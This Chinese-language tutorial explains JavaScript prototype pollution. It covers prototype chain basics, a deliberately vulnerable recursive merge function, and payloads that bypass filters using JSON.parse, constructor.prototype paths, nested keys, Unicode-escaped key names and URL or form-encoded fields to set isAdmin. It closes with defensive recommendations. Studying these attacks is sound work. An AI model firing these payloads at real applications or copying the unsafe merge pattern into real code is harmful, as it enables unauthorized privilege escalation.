js原型链污染原理及绕过
字数 2180
更新时间 2026-04-28 12:44:44

JavaScript 原型链污染:原理、利用与绕过

1. 原型与原型链基础

1.1 JavaScript对象的动态性

JavaScript是一门基于“对象”而非“类”的语言,其核心特性是对象的动态性。与传统基于类的语言(对象属性由类定义)不同,JavaScript对象可以在运行时动态地添加、修改或删除属性。这种动态机制催生了一套独特的“对象继承对象”的继承模型。

1.2 原型与继承机制

JavaScript通过原型实现对象间的继承关系。新对象可以基于已有对象创建,被基于的对象称为新对象的“原型”(prototype)。原型属性并不会被拷贝到新对象中,而是通过委托机制实现访问:当访问对象的属性时,如果对象自身没有该属性,JavaScript解释器会沿着原型链向上查找,直到找到该属性或到达链的末端。

const animal = { eat() { console.log('eat') } };
const dog = Object.create(animal);
dog.bark = function() { console.log('wang'); };
// dog可以访问eat方法,尽管该方法定义在其原型animal上

1.3 关键概念解析

  • __proto__:对象的内部属性,指向该对象的原型。这是一个访问器属性,用于观察和操作对象的原型链。
  • prototype:函数的特殊属性,指向一个对象。当该函数作为构造函数时,prototype属性将成为新创建实例对象的原型。
  • constructor:原型对象的属性,指向创建该原型对象的构造函数。
function Person(name) { this.name = name; }
Person.prototype.sayHi = function() { console.log('Hi, ' + this.name); };
const p = new Person('Alice');

// 原型链关系
console.log(p.__proto__ === Person.prototype); // true
console.log(Person.prototype.__proto__ === Object.prototype); // true
console.log(Object.prototype.__proto__); // null

1.4 原型链结构

典型的原型链结构如下:

user实例 <- 
User.prototype (user.__proto__) <- 
Object.prototype (User.prototype.__proto__) <- 
null (Object.prototype.__proto__)

属性查找流程:解释器首先检查对象自身是否有该属性,如果没有,则查找对象的原型(__proto__指向的对象),然后继续查找原型的原型,直到Object.prototype,再往上就是null。查找在链上找到第一个匹配的属性时停止。

2. 原型链污染原理

2.1 污染本质

原型链污染的核心在于:许多对象最终都会连接到共享的原型对象(特别是Object.prototype)。如果通过某种操作将属性写入到公共原型上,那么后续创建的所有普通对象都会继承这个属性,从而实现全局性的属性污染。

// 污染示例
Object.prototype.isAdmin = true;
const a = {};
const b = { name: 'tom' };
console.log(a.isAdmin); // true
console.log(b.isAdmin); // true
// 虽然a和b自身都没有isAdmin属性,但都从Object.prototype上读取到了这个值

2.2 污染触发点:merge函数

原型链污染的常见触发点是对象合并(merge)操作,特别是在实现深合并(deep merge)时。merge函数通常用于将一个对象的内容递归合并到另一个对象中。

// 存在漏洞的merge函数示例
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

2.3 漏洞成因分析

merge函数的漏洞点在于:

  1. 使用for...in循环遍历源对象的所有可枚举属性
  2. 对对象类型的属性值进行递归处理
  3. 对非对象类型的属性值直接赋值
  4. 缺乏对特殊键名(如__proto__constructorprototype)的过滤和校验

当key为__proto__时,target[key]实际上访问的是target.__proto__,即target对象的原型。后续的递归操作会在原型对象上进行,最终赋值操作target[key] = source[key]会将属性写入共享原型,造成原型链污染。

3. 利用技巧与绕过方法

3.1 JSON.parse的关键作用

直接使用对象字面量定义__proto__键时,JavaScript会将其解释为原型设置,而不是普通属性。这导致for...in无法枚举到__proto__键,从而无法触发漏洞。

// 错误示例 - 无法触发污染
let o1 = {};
let o2 = {a: 1, "__proto__": {b: 2}};
merge(o1, o2);
console.log(o1.a, o1.b); // 1 2
const o3 = {};
console.log(o3.b); // undefined,污染失败

通过JSON.parse()解析包含__proto__键的JSON字符串,可以将其作为普通属性处理,从而成功触发污染:

// 正确示例 - 成功触发污染
let o1 = {};
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');
merge(o1, o2);
console.log(o1.a, o1.b); // 1 2
const o3 = {};
console.log(o3.b); // 2,污染成功

3.2 过滤__proto__的绕过

当应用程序过滤__proto__键名时,可以通过constructor.prototype链访问原型:

原理推导:

// 基本关系
function Person() {}
const p = new Person();
p.__proto__ === Person.prototype; // true
Person.prototype.constructor === Person; // true

// 推导出绕过路径
p.__proto__ === Person.prototype;
p.__proto__.constructor === Person;
p.__proto__.constructor.prototype === Person.prototype;
p.__proto__.constructor.prototype === p.__proto__;

// 简化版本(利用原型链查找)
p.constructor.prototype === p.__proto__;

利用payload:

{"constructor": {"prototype": {"isAdmin": 1}}}

URL参数形式:

?constructor[prototype][isAdmin]=1

3.3 过滤顶层键的绕过

如果应用程序只检查顶层键名是否包含敏感词,可以通过嵌套结构绕过:

{"a": {"__proto__": {"isAdmin": 1}}}

{"a": {"constructor": {"prototype": {"isAdmin": 1}}}}

3.4 过滤键名关键字的绕过

当应用程序检测键名中是否包含__proto__constructorprototype等关键词时,可以使用Unicode转义绕过:

{"\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f": {"isAdmin": 1}}

3.5 表单数据绕过

在Web应用中,表单数据解析也可能成为污染入口。表单字段可以保持键名结构,实现原型链污染:

__proto__[isAdmin]=1

constructor[prototype][isAdmin]=1

4. 防御建议

  1. 输入验证与过滤:严格验证用户输入的键名,过滤__proto__constructorprototype等特殊键名
  2. 使用Object.create(null):创建没有原型的对象,避免污染向上传播
  3. 使用Map替代Object:对于键值对存储,使用Map对象可以避免原型链相关问题
  4. 冻结原型对象:在安全要求高的场景中,可以使用Object.freeze(Object.prototype)防止原型被修改
  5. 使用安全的合并函数:实现merge函数时,使用Object.hasOwnProperty()检查属性是否为对象自身属性,避免遍历原型链
  6. 白名单机制:只允许合并预定义的、安全的键名
  7. 避免使用递归合并:在不需要深合并的场景中使用浅合并

5. 总结

原型链污染是JavaScript应用中一种严重的安全漏洞,其根源在于JavaScript动态的原型继承机制与不安全的对象操作相结合。攻击者通过精心构造的输入,可以将恶意属性注入到共享原型中,影响应用中的所有对象。防御此类漏洞需要开发者在编写对象操作代码时保持警惕,特别是涉及用户输入处理、对象合并和递归操作时,必须实施严格的安全检查和过滤措施。

相似文章
相似文章
 全屏